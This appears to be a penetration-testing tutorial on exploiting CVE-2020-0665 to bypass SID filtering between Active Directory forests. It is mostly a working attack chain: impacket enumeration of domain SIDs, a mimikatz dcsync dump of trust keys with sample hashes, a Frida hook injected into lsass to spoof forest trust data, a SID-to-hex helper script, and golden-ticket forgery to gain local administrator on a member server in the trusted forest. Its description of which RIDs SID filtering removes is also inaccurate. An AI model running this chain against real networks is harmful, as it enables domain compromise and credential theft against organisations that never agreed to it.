SID Filter Bypass

SID Filtering is a mechanism that filters out all SIDs with a Relative Identifier (RID) of 1000 in cross-forest configurations.

A CVE was discovered in 2020 that allowed to bypass SID Filtering to compromise hosts in a trusted forests. The vulnerability was patched in February of the same year.

Transitive trust scenario

A Transitive trust is configured to propagate authentication requests and permissions across all domains in the forest, providing seamless access to resources regardless of the domain in which they reside; this greatly simplifies shearing resources withing a forest.

Let's say we have domain.com and otherdomain.com that form a two-way transitive trust between them, domain.com has a child domain, child.domain.com; the transitive nature of the relationship between the first two domains will extend the trust to the child domain as well.

This rule applies to new subdomains as well: if we were to add a new subdomain to domain.com, otherdomain.com will fetch the SID of the newly-created domain by making a NetrGetForestTrustInformation call to the domain controller. The results of this query are returned in a format called LSA_FOREST_TRUST_RECORD and are stored in a TDO in otherdomain.com.

The ftinfo allows to extract information about the trust by decrypting the msDS-TrustForestTrustInfo binary field which we can access from the Active Directory Users and Computers utility (otherdomain.com > domain.com > Attribute Editor > msDS-TrustForestTrustInfo); the contents of the attribute have to be placed on line 14 of the script and running it will parse the data into a readable format.

Exploiting CVE-2020-0665

Exploiting this vulnerability requires the following requirements:

  1. DC01 and DC02 must have a Two-way Transitive Trust

  2. DC01 must have a Child Domain (subdomain)

  3. DC02 has at least one domain joined member server or workstation

From a high-privilege position in the domain.com forest we can manipulate the trust relationships by adding a malicious SID to the list of the subdomains for domain.com or modifying an existent one; as described earlier, otherdomain.com will query for the SID of the new subdomain, propagating the trust through-out the forest.

The third requirement stems from the fact that, when querying an individual member server or workstation in a domain about the number of domains it trusts, it typically reports two. One domain pertains to the Active Directory domain to which the workstation or server belongs, while the other refers to the local domain unique to that specific machine. This local domain, residing in the Security Accounts Manager (SAM) hive, houses local accounts and groups, including the widely recognized RID 500 account, which represents the built-in Administrator account commonly targeted in Pass-the-Hash attacks.

Active Directory does not manage these local domains on member systems, and therefore, it remains unaware of their existence. Consequently, each Active Directory domain will have as many local domains as the number of systems joined to it, reflecting the diversity of local accounts and configurations across the network.

The steps of the attack are:

  1. Fake a new domain in forest A that has the same SID as the local domain on a server in forest B

  2. Wait for forest B to pick up the new SID and add it to the allowed SIDs

  3. Create an inter-realm ticket that includes the SID of the local administrator account of the server in forest B, and give this to the DC in forest B

  4. See if forest B gives us a ticket that includes the SID of the server in forest B

  5. Connect to the server in forest B with our service ticket having administrative permissions

We cannot compromise a Domain Controller in a Trusted forest (Forest-B) because while a Domain Controller has a local domain in SAM, it is only active during recovery mode, which does not satisfy the conditions necessary for the attack to work.

Let's imagine the following setup

We successfully compromised Forest A and want to compromise ANY02 in Forest B.

Mind that ANY02 represents ANY domain computer in the second forest except the DC.

  1. Enumerate the local SID of ANY02 with credentials from domain.com

getlocalsid.py domain.com/Administrator@ANY02.otherdomain.com ANY02

<SNIP>

Found local domain SID: S-1-5-21-2327345182-1863223493-3435513819
  1. Enumerate the domain SID for child.domain.com

lookupsid.py domain.com/Administrator@child.domain.com | grep "Domain SID"

<SNIP>

[*] Domain SID is: S-1-5-21-3878752286-62540090-653003637
  1. Enumerate the domain SID for domain.com

lookupsid.py domain.com/Administrator@domain.com | grep "Domain SID"

<SNIP>

[*] Domain SID is: S-1-5-21-2432454459-173448545-3375717855
  1. Enumerate the GUID for otherdomain.com

Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' | select name,objectguid

<SNIP>

otherdomain.com        8d52f9da-361b-4dc3-8fa7-af5f282fa741
  1. Get hashes to request Inter-Realm ticket for otherdomain.com

.\mimikatz.exe "lsadump::dcsync /guid:{8d52f9da-361b-4dc3-8fa7-af5f282fa741}" "exit"

<SNIP>
[  In ] DOMAIN.COM -> OTHERDOMAIN.COM
* aes256_hmac       179e4ae68e627e1fd4014c87854e7f60b0c807eddbcaf6136ddf9d15a6d87ad8
* aes128_hmac       f1091ce43342170b7c29eb9a54a413e4
* rc4_hmac_nt       c586031a224f252a7c8a31a6d2210cc1

The first 5 steps allowed us to enumerate all the needed information, the following ones will work on making otherdomain.com accept our SID for future inter-realm ticket requests: to do it we will use this Frida Interception script which will inject itself into the lsass.exe process in the domain.com'd DC and hook the NetrGetForestTrustInformation (which is called by otherdomain.com every 24 hours to get the SID of the other subdomains in Forest A) and replace the SID of an existing subdomain (in this case child.domain.com) with the SID of the host we want to compromise (ANY02.otherdomain.com).

In order to set up the script we need update the buf1 and newsid variables with the hexadecimal representation of child.domain.com and ANY02's SIDs respectively; to convert the SIDs to hexadecimal form we can use a custom python script

from sys import argv

input_string = argv[1]
prefix = 'S-1-5-21-'

# Split the input string after the constant prefix
components = input_string.split(prefix, 1)
if len(components) > 1:
    remaining_string = components[1]
    split_values = remaining_string.split('-')
    output_list = []
    for i in split_values:
        decimal_number = int(i)
        hexadecimal_value = hex(decimal_number)[2:].zfill(8)
        little = ' '.join([hexadecimal_value[i:i+2] for i in range(len(hexadecimal_value)-2, -2, -2)])
        bytes_list = little.split()
        formatted_bytes = ', '.join([f"0x{byte.upper()}" for byte in bytes_list]) 
        output_list.append(formatted_bytes)
    final_output = ', '.join(output_list)
    print("0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output)

Now we execute the script from a SYSTEM shell

python frida_intercept.py lsass.exe

and wait for otherdomain.com to query the DC for the new SIDs so that the changes can take place and be applied to the trust.

At this point we can request a golden ticket with the extra SID of ANY02

kerberos::golden /domain:domain.com /sid:<DOMAIN.COM SID> /user:otter /target:otherdomain.com /service:krbtgt /sids:<ANY02 SID>-500 /aes256:<AES HASH>

and retrieve a TGS for ANY02

kekeo # tgs::ask /tgt:ticket.kirbi /service:cifs/ANY02.otherdomain.com@OTHERDOMAIN.COM /kdc:DC02.otherdomain.com /ptt

Now we can access ANY02 using the ticket in memory.

Last updated